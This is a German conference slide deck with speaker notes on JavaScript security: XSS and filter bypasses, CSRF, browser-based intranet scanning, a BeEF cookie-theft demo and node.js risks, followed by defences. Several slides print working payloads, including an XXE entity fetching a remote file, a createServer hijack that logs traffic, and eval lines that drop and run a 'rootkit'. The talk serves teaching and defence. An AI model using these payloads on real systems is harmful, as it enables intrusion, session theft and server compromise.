  • 42. KXSSXSS Type 2: Persistent XSS Wie reflektierter XSS, aber gespeichert. Auch für andere Nutzer sichtbar, kann viral werden. 42 Der dritte Typ ist der aggressivste, der Persistente XSS. Der passiert, wenn ich zB in ein Forum einen XSS einschleusen kann, der dann von anderen Nutzern auch gesehen wird. Oder XSS in einem Chat.
  • 43. KXSSXSS Type X: Somewhere Else Eingebettetes remote.js Externe JSONPs Daten aus der Datenbank Handschrift auf der Überweisung 43 Und es gibt natürlich beliebige andere Quellen, von denen meine Applikation die Daten bekommt.
  • 44. KXSSRich Internet Applications Bei Single Page Applications ist jeder XSS persistent, weil keine Heilung mehr durch einen URL-Wechsel stattfindet. 44 Das gemeine an allen drei Typen ist, dass das inzwischen für uns meist fast egal ist. Denn bei den Single-Page-Applications, die wir normalerweise schreiben, hilft es nichts mehr - es bleibt immer der gleiche Seitenscope bestehen, und damit ist jeder XSS, zumindest für die Zeit der Session, persistent.
  • 45. KXSS Escaping FTW! 45 Also wurde zunächst einmal escaped. Wer setzt hier $.html() in Jquery ein, um Output zu escapen?
  • 46. KXSS escapeHtml(“Hartmann<script>alert(1);</script>“); 46 Ich nehme hier mal die Escape-Funktion aus Mustache, vom Jan Lehnhardt.
  • 48. KXSS escapeHtml(“Hartmann“ AUTOFOCUS onfocus= “alert(1); “); <input type=text value=“Hartmann&quot; AUTOFOCUS onfocus=&quot;alert(1);“> 48 Heja, der klappt ja auch! Endlich habe ich eine Escape-Funktion, die Universell ist...
  • 49. KXSS <script> plz = 80331; <script> <script> plz = 80331;alert(1); <script> 49 Und schauen wir uns noch mal das JS-Beispiel direkt an - das gilt btw. auch für alles, was direkt in einem Exekutierbaren Scope landet, also auch events etc. Da funktioniert das nicht weil wir dazu hätten „;“ escapen müssen Das gleiche gilt für ausgaben in JavaScript Events.
  • 50. KXSS Universelles Escaping funktioniert nicht. 50 Fazit: Universelles Escaping funktioniert nicht.
  • 52. KXSS $name =$_GET[‘name‘]; $name = escapeme($name); <script> name = “...“; <script> Input Output 52 Wie würde hier die Escapeme aussehen?
  • 53. KXSS Input Output $data = ‘{vorname:“johann“,nachname:“Ha rtmann“}‘; <script> var data = myfunction(“...“); <script> 53 Wie würde hier die myfunction aussehen?
  • 54. KXSS Input Output $wysiwyg = “<div>Hi!</div>“; $layout = escapeme($wysiwyg); <body> .... </body> 54 Und hier? Genau, universelles Escaping funktioniert nicht.
  • 55. KXSS Blacklists ftw 55 Also wurde zunächst Blacklisting erfunden. Sprich: ich gucke nach bösen Sachen und filtere sie heraus. Jemand hier, der Blacklists einsetzt? PHPIDS? Validator aus Node.js?
  • 56. KXSS <p>Name: Hartmann<script>alert(1);</ script></p> <p>Name: Hartmannalert(1);</p> 56 Blacklists sollten die gefährlichen Ausdrücke entfernen, so dass kein JavaScript mehr ausgeführt werden kann. Also wurden die einfach entfernt.
  • 57. KXSS <p>Name: Hartmann<scr<script>ipt>alert(1);</ scri<script>pt></p> <p>Name: Hartmann<script>alert(1);</ script></p> 57 Darauf haben die Hacker dann reagiert, indem sie einfach das, was entfernt wird, wieder ergänzt haben. Das hat nur so mittel geklappt. Danach sind die aber besser geworden, und laufen heute so lange über einen String, bis sie nichts mehr finden.
  • 58. KXSS <p>Name: Hartmann<scr<script>ipt>alert(1);</ scri<script>pt></p> <p>Name: Hartmann[removed]alert(1); [removed] </p> 58 Inzwischen sind die natürlich auch besser geworden, und im regelfall - zB bei node.js validator - sieht das so aus.
  • 59. KXSS <script> plz = 80331; <script> <script> plz = 80331;alert(1); <script> 59 Dieses Ding bleibt trotzdem unangetastet. Ok, bei einigen Blacklists fliegt alert raus ....
  • 60. KXSS <script> plz = 80331; <script> <script> plz = 80331;prompt(1,1); <script> 60 ... da muss man dann prompt(1,1) zum testen nehmen :-).
  • 62. KXSS Ok, Escaping geht nicht, Blacklisting geht nicht. Sonst noch was um meine Laune zu verderben? 62 Das ist ja schon mal nicht so gut. Aber sind wir damit schon am Ende?
  • 63. KMXSS The innerhtml Apocalypse 63 Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen.
  • 64. KMXSS Es steht das drin, was gemeint war. 64 Natürlich nicht, das wird noch eins komplizierter. Und zwar weil Browser tolerant sind. Die wollen nicht nur überall JavaScript executen, sondern die wollen auch aus jedem Syntax etwas nützliches machen. Klar, wer die Anfänge auf Geocities mitbekommen hat - da war mit sauberem Syntax nichts zu holen.
  • 65. KMXSS Demotime! Idee, Konzept, sonstiges: alles geklaut bei Mario Heiderich 65 Demo! file:///Users/johann/javascript/innerhtml_test.html Siehe http://de.slideshare.net/x00mario/the-innerhtml-apocalypse
  • 66. KMXSS HTML im Browser != geschriebenes HTML •abhängig von Browserversion •abhängig von Browsermode •abhängig von Position im HTML 66 Was lernen wir daraus? Es kommt nicht darauf an, was wir selbst als JavaScript schreiben, sondern es kommt darauf an, was der Browser daraus macht.
  • 67. KMXSS Beispiel: <i foo="<b>" [EOF] Firefox, Chrome, Safari: da ist nur ein <i>-Tag IE, Opera: Da ist ein <i> und ein <b>-Tag 67 Mal ein anderes konkretes Beispiel, unser File hört mit einem Tag i mit einem Attribut auf - dann wird das <b>-Tag in IE und Opera als solches interpretiert.
  • 68. KXSS Are we done yet? 68 Ok, sind wir jetzt endlich mit den ganzen Problemen durch?
  • 70. KXSS <div data-dojo-type="dojox/calendar/Calendar" data-dojo-props="startDate: new Date(2012, 0, 1), endDate: new Date(2012, 0, 9)" style="position:relative;width:500px;height:500px"></div> 70 Wir haben ja schliesslich noch JavaScript Libraries. Und auf einmal gibt es Properties die Aktionen auslösen, die ich noch gar nicht kenne - zum Beispiel über Widgets. In HTML5 gibt es das auch, aber da triggern sie kein JavaScript, das eigene Lücken enthalten kann.
  • 71. KXSS Vorher galt: Attribut mit on* -> Triggert JavaScript 71 Und das ist wichtig - denn vorher konnte man sich darauf verlassen, dass JavaScript nur über Events, also über Attribute, die mit on* beginnen getriggert wurde - und alles andere funktioniert automatisch.
  • 72. KXSS 72 Und nicht nur da spielen die Libraries eine Rolle. Wer setzt alles Jquery ein? (Jetzt sollten sich alle melden)
  • 73. KXSS 73 Da steht ja nicht umsonst „write less, do more“ drunter. Das passiert tatsächlich.
  • 74. KXSS$() 74 Das wird zum Beispiel mit der sehr mächtigen $() funktion gemacht, die abhängig von Inhalt unterschiedliche Dinge tut. Das erlaubt einem sehr schnell zu sein. Das ist cool.
  • 75. KXSS$() 75 Aber das bedeutet auch, dass man nicht immer weiss, was passiert. Und das ist ein Problem.
  • 76. KXSS Sink: eine Funktion, die ein Risiko darstellt, wenn ihr nicht vertrauenswürdiger Input übergeben wird. 76 In Security spricht man von einer Sink wenn man eine Funktion hat, die in einem Security- Problem resultiert, wenn sie fremde Daten bekommt oder die Daten nicht sanitized sind. SQL-Funktionen sind solche Sinks, wenn ich dort einen String direkt eingebe, dann wird er ungefiltert der Datenbank übergeben und kann SQL-Injections erzeugen. eine Multiplikationsfunktion wäre dementsprechend Risikofrei.
  • 77. KXSS $() ist eine Sink $("<img src='dd' onerror='alert(1)'>"); 77 Und genau da kommt unser Problem her - $() ist eine Sink, und nicht jeder weiss es. Ich darf also $() nur validierten Input in die Hand geben. Quelle: https://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
  • 78. KXSS Ok, aber ist das wirklich ein Problem?78 Da stellt sich natürlich die Frage - ist das wirklich ein Problem?
  • 79. KXSS Wenn JavaScript ausgeführt werden kann, dann ist das vollständige Vertrauen im aktuellen JavaScriptkontext zerstört. 79 Ja, ist es. Das erste liegt an der Sprache selbst. Die Sprache erlaubt die Manipulation und das Überschreiben von allem, auch von den Browsereigenen Objekten und Methoden.
  • 80. KXSS 80 Ich brauche bloss window.alert(); auf eine neue Funktion zu binden, und schon passiert etwas ganz anders wenn ich einen alert() triggere. Das gleiche gilt natürlich auch für Objekte wie xmlhttprequest.
  • 81. KXSS Same Origin Policy 81 Eigentlich kann ich mit JavaScript auch nur auf Ressourcen meines Servers zurückgreifen, dank der Same Origin Policy. Faktisch sieht das aber anders aus, mit ein paar Tricks.
  • 83. KXSS Erkennung der Browser-IP per WebRTC Intranet 82
  • 84. KXSS Erkennung der Browser-IP per WebRTC nmap für Arme: Host- und Portscanning Intranet 82
  • 85. KXSS Erkennung der Browser-IP per WebRTC nmap für Arme: Host- und Portscanning über Iframes, Img-Tags, JavaScript, ohne JavaScript über Timing von <link>-Includes: <img src=“http://192.168.2.1:80/“ onError=“stoptimer(“192.168.2.1“, 80);“ /> Intranet 82
  • 87. KXSS Dictionary-Attacken auf das Intranet Intranet 83
  • 88. KXSS Dictionary-Attacken auf das Intranet Erkennung von Devices und vorhandener Logins über URLs Intranet 83
  • 89. KXSS Dictionary-Attacken auf das Intranet Erkennung von Devices und vorhandener Logins über URLs Breite Angriffe (zB Drive-By-Pharming) Intranet 83
  • 92. KXSS var handle = window.requestAnimationFrame(callback); Nutzen um die Frame Rate auszurechnen Pixel Perfect Timing 84
  • 93. KXSS var handle = window.requestAnimationFrame(callback); Nutzen um die Frame Rate auszurechnen Über -moz-element iframe als vergrösserten Background für ein <div> nutzen Pixel Perfect Timing 84
  • 94. KXSS var handle = window.requestAnimationFrame(callback); Nutzen um die Frame Rate auszurechnen Über -moz-element iframe als vergrösserten Background für ein <div> nutzen teuren Morphology-Filter über einzelne Pixel legen und Frame Rate messen Pixel Perfect Timing 84
  • 95. KXSS Pixel Perfect Timing http://www.contextis.com/files/Browser_Timing_Attacks.pdf 85 Hier sehen wir wie das funktioniert - links oben der Originale frame, rechts das div mit der Kopie, unten links ein Frame mit Treshhold als Filter, und rechts unten ein einzelner Pixel - und über diesen wird die Framerate gemessen.
  • 97. KXSS Geht natürlich auch mit view-source: urls im Chrome Pixel Perfect Timing 86
  • 98. KXSS Geht natürlich auch mit view-source: urls im Chrome Framebuster/ X-Frame-Options schützen Pixel Perfect Timing 86
  • 99. KXSS Geht natürlich auch mit view-source: urls im Chrome Framebuster/ X-Frame-Options schützen Facebook-Comments/Likes wollen embedded werden Pixel Perfect Timing 86
  • 100. KXSS Geht natürlich auch mit view-source: urls im Chrome Framebuster/ X-Frame-Options schützen Facebook-Comments/Likes wollen embedded werden OCR funktioniert. Pixel Perfect Timing 86
  • 101. KXSS Demotime! http://beefproject.com/ 87 1. Neuer Browser http://whatismyipaddress.com IP notieren 2. Blog-URL http://blog.mayflower.de 3. in http://beef.mayflower.de/ui/panel einloggen 4. Links die Zombies zeigen 5. Rechts Log zeigen 6. Meine IP raussuchen 7. Detail-Seite vorstellen - alles, was einfach ohne tricks über JavaScript zu ermitteln ist, quasi Browser Capabilities 7. Rider Nutzung des Fremden Browsers als Proxy- auf der gehijackten Domain, weil Same Origin 8. Commands Browser Domain 8.1 get cookie -> session riding mit login 8.2 get page hrefs 8.3 alert dialog 8.4 Full Page Rickroll 8.5 Webcam Permission check - interesting domains 8.6 Host - Get internal IP 8.7 DOSer 8.9 Persistence - create popunder. 9.0 Phonegap & Extension exploits
  • 102. CXSSExtensions, & HTML5 & Phonegap 88 Da sind wir auch gleich beim nächsten Thema - HTML / XSS jenseits des Browsers.
  • 106. CXSSExtensions Halten sich inzwischen an Content Security Policy Aber: diverse eval()s in Libraries (mustache, underscore, jQuery template) 92
  • 107. CXSSExtensions Resultat: Voller Zugriff auf alle Seiten im Browser Inkl. Cookies und Logins Facebook, GMail, Twitter, ... 93
  • 108. CXSSHTML5 <input type=file directory> 94 Das neue Directory-Attribute im Chrome erlaubt vollen Lesezugriff auf das Verzeichnis, nachdem es ausgewählt wurde. Einfach Download anbieten, „Download to Folder“-Button machen - und schon hat man Zugriff auf das ganze Verzeichnis.
  • 109. CXSSHTML5 Alte Bugs in neuen Variationen: <input onfocus=alert(1) autofocus> <input onblur=alert(1) autofocus><input autofocus> <form id=test onforminput=alert(1)> <button form=test onformchange=alert(2)> <button form=test onformchange=alert(2)> <math href="javascript:alert(1)">CLICKME</math> 95 Und natürlich werden alle alten Blacklistfilter durch neue Attribute und Tags ausgetrickst.
  • 110. CXSSPhonegap User-Content mit XSS: WTF: XSS Prevention ist Blackberry Only 96
  • 111. CXSSPhonegap Capabilities über Permissions: Camera, Contacts, Files, Geolocation, Media,... Alle Capabilities der App in XSS nutzbar 97
  • 112. CXSS Are we done now, please?98 Sind wir jetzt endlich mit den ganzen Security Problemen durch? Wer meint wir wären durch? Genau, jetzt kommen wir erst zu den Highlights.
  • 113. hJSON JavaScript Object Notation „Hey, it‘s Data and Code!“ 99 JSON, die JavaScript Object Notation. Wer wendet es alles an? Warum ist das so charmant? Weil es gleichzeitig ein Datenformat ist, das aber direkt als Code angewandt werden kann - erinnert das jemanden an etwas? Man muss es also nur in ein Eval() kippen? Wer der anwesenden macht das mit JSON?
  • 114. hJSON A JSON text can be safely passed into JavaScript's eval() function (which compiles and executes a string) if all the characters not enclosed in strings are in the set of characters that form JSON tokens. This can be quickly determined in JavaScript with two regular expressions and calls to the test and replace methods. var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u nrt]/.test( text.replace(/"(.|[^"])*"/g, ''))) && eval('(' + text + ')'); http://www.ietf.org/rfc/rfc4627.txt: 100 JSON wird in der RFC 4627 definiert. Dort steht auch drin, dass man es direkt evaluieren kann. Wenn man vorher zwei Regex dagegen wirft. Dann geht das in Ordnung. Also nicht einfach nur Eval, sondern vorher evaluieren
  • 115. hJSON // Courtesy of Eduardo `sirdarckcat` Vela Nava +{ "valueOf": self["location"], "toString": []["join"], 0: "javascript:alert(1)", length: 1 } 101 Und das ist der String, der trotzdem durchkommt. Von Sirdarckcat, heute Mitarbeiter von Google.
  • 116. hJSON Danke, Internet Explorer. 102 Glücklicherweise gibt es nur einen Browser, der das als Code sieht - leider ist er immer noch an Platz 2 der Browserstatistik. Selbst die RFC konnte nicht vorhersehen, was der Browser alles als JavaScript interpretiert.
  • 117. M Typosquatting XSS 1. Registrier die Domain googlesyndicatio.com 2. Erzeuge ein file http://pagead2.googlesyndicatio.com/ pagead/ads 3. 12.000 Aufrufe pro Tag 4. Beefproject FTW 103 Und noch eine letzte Geschichte aus der Kategorie „Man glaubt es nicht:“ Die Jungs von der Security-Firma Securitee haben im Sommer einfach mal die Domain googlesyndicatio.com reserviert - so wie die alte Google-Ads-Domain, vor vielen, vielen Jahre,nur mit einem Typo. Da haben sie dann ein Script abgelegt.
  • 118. fCSRFCross Site Request Forgery „Sea Surf“ „Anfragenfälschung“ 104 Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort mit der Authentifizierung - sprich dem Cookie - meines Browsers an.
  • 119. fCSRFCross Site Request Forgery Schutzmaßnahmen: Referercheck (nicht ausreichend) Token-Authentifizierung 105 Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung von GET auf POST, in etwas weniger schlecht mit einem Referer-Check, den man mit etwas geschick umgehen kann, und korrekt mit einer Token-authentifizierung, der mit dem Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.
  • 120. fCSRFCross Site Request Forgery Jeder XSS boykottiert CSRF-Protection 106 Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält, dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.
  • 121. ZXSS How to fix it. 107 Ok, so langsam können wir ja auch mal schauen, wie man das ganze Repariert.
  • 122. ZXSS Schlicht nicht machen: *.innerhtml ändern eval(); JSON in eval(); document.write(); 108 In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 123. ZXSS Schlicht nicht machen: Inline <script>-Javascript Auslagern Komprimieren 109 In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 124. ZXSS Schlicht nicht machen: on-Events Explizit binden: $('#main').bind("click", function(e) { alert(1) }); 110 In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 125. ZXSS Schlicht nicht machen: Alte Libraries (json.js, jquery) updaten Auch wenn Google sie noch hostet ... 111 In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 126. ZXSS Schlicht nicht machen bei JQuery: Niemals untrusted Input in die Sinks... JQuery(), $(), $().html, $().before(), $().after, $().prepend, $().append 112 Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also welche Sinks sind und welche nicht. All diese Funktionen sollte nicht mit User-Input gefüttert werden.
  • 127. ZXSS Schlicht machen: Korrekt escapen: Urls mit EncodeURI HTML zB mit JsHtmlSanitizer Whitelists wo sie möglich sind 113
  • 128. ZXSS Content-Security-Policy: script-src ‘self‘ X-Content-Security-Policy: script-src ‘self‘ X-WebKit-CSP: script-src ‘self‘ Header 114 Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.
  • 129. ZXSS Content-Security-Policy: default-src ‘self‘ <img src=“bla“ onerror=alert(1)> Content-Security-Policy: default-src ‘self‘ ‘unsafe-inline‘ <img src=“bla“ onerror=alert(1)> Header 115 man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens wieder aktivieren.
  • 130. ZXSS CSP deaktivieren: <meta http-equiv="Content-Security-Policy" content="default-src 'none'"> injecten. Header 116 Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren ...
  • 131. ZXSS X-XSS-Protection: 1; mode=block X-FRAME-OPTIONS: DENY Header 117 Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch zunächst nicht bei der Content-Security-Policy mitmachen. X-XSS-Protection macht ein lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre. X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen, sollte man also machen, wenn man nicht partout eingebettet werden muss.
  • 132. ZXSS Die eigene Applikation aus dem Blick des Angreifers... Pentesting 118
  • 133. ZXSS Demo 1: XSSme in Firefox Pentesting 119 Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
  • 134. ZXSS Demo 2: Tamper Data in Firefox Pentesting 120 Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php
  • 135. ZXSS Demo 3: Google Skipfish Pentesting 121 Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php ./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/ mutillidae/
  • 136. ZXSS Demo 4: BurpSuite Professional Pentesting 122 Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php ./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/ mutillidae/
  • 137. ZXSS Demo 4: BurpSuite Professional Pentesting 123 Url: http://192.168.8.136/mutillidae/index.php?page=add-to-your-blog.php ./skipfish -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/ mutillidae/
  • 138. ZXSS High-End: BurpSuite mit Crawljax, einem Selenium-basiertem Crawler. Pentesting 124 Das ist das aktuelle High-End, leider habe ich es noch nicht kompiliert bekommen :-/
  • 140. ZNode.js Viele Sinks: eval(),ChildProcess.*, Cluster.*,fs.*, http.*, net.*, process.*, dgram.* Zugriff auf Netzwerk, Filesystem, Prozesse 126 In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend weniger auf die Risiken dahinter.
  • 141. ZNode.js http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello Worldn'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/'); 127 Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.
  • 142. ZNode.js var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } 128 Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich auch http.createServer umschreiben.
  • 143. ZNode.js Demo 129 var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello Worldn'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/');
  • 144. ZNode.js npms 130 Kommen wir zu einem ganz dunklem Kapitel.
  • 145. ZNode.js Authenticated only by E-Mail ca 30.000 Packages, no Security-Checks Sinks: zB 1686*Spawn() 9518*eval() 3977*writeFile() Average Quality is low 131 Kommen wir zu einem ganz dunklem Kapitel. NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security- Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu werden.
  • 146. ZNode.js Support für typische Security-Features: - node-validator für validation & sanitizing require('validator').sanitize(mystr).xss(); - express csrf middleware app.use(express.csrf()); 132 Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im express-Umfeld vorhanden.
  • 147. ZNode.js node-validator Sanitizer: Blacklister, also gibt es Workarounds: <!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y> und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> 133 Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren Workarounds.
  • 148. ZNode.js SQL-Injections: nodejsdb solide, inklusive Parameter binding Aber: Whitelisting von Bezeichnern und SQL- Syntax trotzdem erforderlich 134 Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL- Injections möglich. Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten Module sind nicht wirklich vertrauenswürdig.
  • 149. ZNode.js ReDOS-Attacken: existierende reguläre Ausdrücke so füttern, dass sie beliebig viel CPU brauchen. Beispiel: var match = /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'); Blockiert den Server > 10 Sekunden. 135
  • 150. ZNode.js Wenn ich ein eval() im Server habe ... process.kill(process.id); require(‘fs‘).writeFileSync(‘/tmp/rootkit‘, data, ‘base64); require(‘child_process‘).spawn(‘/tmp/rootkit‘); 136
  • 151. ZNode.js Node.js auch auf Port 80 nicht als Root! per sudo starten und dann ... var uid = parseInt(process.env.SUDO_UID); if (uid) process.setuid(uid); 137
  • 152. ZFazit Basis-Infrastruktur sichern: gute Libraries guter JavaScript-Stil mit JSLint/JSHint sichern Blacklists sind nie 100% Escaping nur nach Kontext 138
  • 156. ZFazit Jemand mit Mut, der seine Seite live getestet haben will? 142
  • 157. ZFazit Bonus-Rant zum tweeten: Der HTML-Parser und die DOM- API sind unreparierbar kaputt. 143